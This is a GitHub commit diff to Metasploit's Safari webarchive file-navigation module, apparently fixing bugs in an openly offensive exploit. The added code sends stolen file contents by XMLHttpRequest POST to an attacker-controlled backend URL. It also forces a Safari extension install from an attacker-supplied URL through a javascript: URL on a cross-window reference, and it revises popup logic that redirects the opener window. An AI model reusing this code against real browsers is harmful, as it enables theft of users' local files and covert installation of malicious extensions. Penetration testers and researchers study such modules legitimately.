Skip to content

Commit b577f79

Browse files
committed
Fix some bugs in the safari file navigation module.
1 parent c305348 commit b577f79

File tree

2 files changed

+20
-35
lines changed

2 files changed

+20
-35
lines changed

lib/msf/core/format/webarchive.rb

Lines changed: 15 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -91,24 +91,8 @@ def wrap_with_script(&blk)
9191
# @return [String] mark up for embedding the iframes for each URL in a place that is
9292
# invisible to the user
9393
def iframes_container_html
94-
hidden_style = "position:fixed; left:-600px; top:-600px;"
9594
wrap_with_doc do
96-
communication_js + injected_js_helpers + steal_files + install_extension + message
97-
end
98-
end
99-
100-
# @return [String] javascript code, wrapped in script tags, that is inserted into the
101-
# WebMainResource (parent) frame so that child frames can communicate "up" to the parent
102-
# and send data out to the listener
103-
def communication_js
104-
wrap_with_script do
105-
%Q|
106-
window.addEventListener('message', function(event){
107-
var x = new XMLHttpRequest;
108-
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
109-
x.send(event.data);
110-
});
111-
|
95+
injected_js_helpers + steal_files + install_extension + message
11296
end
11397
end
11498

@@ -122,23 +106,20 @@ def install_extension
122106
raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present?
123107
wrap_with_script do
124108
%Q|
109+
var qq = null;
125110
var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
126111
var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');
127112
128113
function go(){
129114
window.focus();
130-
window.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
131-
}
132-
if (!window.x){
133-
alert(1);
134-
window.onclick = function(){
135-
x = window.open('#{apple_extension_url}', 'x');
136-
setInterval(go, 400);
137-
};
138-
} else {
139-
setInterval(go, 400);
115+
qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self');
140116
}
141-
117+
window.addEventListener('message', function(e) {
118+
if (!qq && e.data === 'EXT') {
119+
qq = e.source;
120+
setInterval(go, 3000);
121+
}
122+
});
142123
|
143124
end
144125
end
@@ -327,7 +308,11 @@ def injected_js_helpers
327308
window.sendData = function(key, val) {
328309
var data = {};
329310
data[key] = val;
330-
window.top.postMessage(JSON.stringify(data), "*")
311+
312+
var x = new XMLHttpRequest;
313+
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
314+
x.setRequestHeader('Content-type', 'text/plain')
315+
x.send(JSON.stringify(data));
331316
};
332317
|
333318
end
@@ -355,7 +340,7 @@ def webarchive_download_url
355340

356341
# @return [String] HTML content that is rendered in the <body> of the webarchive.
357342
def message
358-
"<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>"
343+
"<p>You are being redirected.</p>"
359344
end
360345

361346
# @return [Array<String>] of URLs provided by the user

modules/auxiliary/gather/safari_file_url_navigation.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -63,12 +63,12 @@ def on_request_uri(cli, req)
6363
begin
6464
data = JSON::parse(data_str || '')
6565
file = record_data(data, cli)
66-
send_response_html(cli, '')
66+
send_response(cli, '')
6767
print_good "data #{data.keys.join(',')} received and stored to #{file}"
6868
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
6969
file = record_data(data_str, cli)
7070
print_error "Invalid JSON stored in #{file}"
71-
send_response_html(cli, '')
71+
send_response(cli, '')
7272
end
7373
elsif req.uri =~ /#{popup_path}$/
7474
send_response(cli, 200, 'OK', popup_html)
@@ -131,8 +131,7 @@ def popup_html
131131
},
132132
function() { opener.location = 'about:blank'; },
133133
function() { opener.history.back(); },
134-
function() { },
135-
function() { window.location = '#{apple_extension_url}'; }
134+
function() { if (#{datastore['INSTALL_EXTENSION']}) { opener.postMessage('EXT', '*'); window.location = '#{apple_extension_url}'; } else { window.close(); } }
136135
)
137136
138137
</script>
@@ -317,7 +316,8 @@ def send_response(cli, code, message='OK', html='')
317316
# @param [Hash] data the data to store in the log
318317
# @return [String] filename where we are storing the data
319318
def record_data(data, cli)
320-
file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'')
319+
name = if data.is_a?(Hash) then data.keys.first else 'data' end
320+
file = File.basename(name).gsub(/[^A-Za-z]/,'')
321321
store_loot(
322322
file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
323323
)

0 commit comments

Comments
 (0)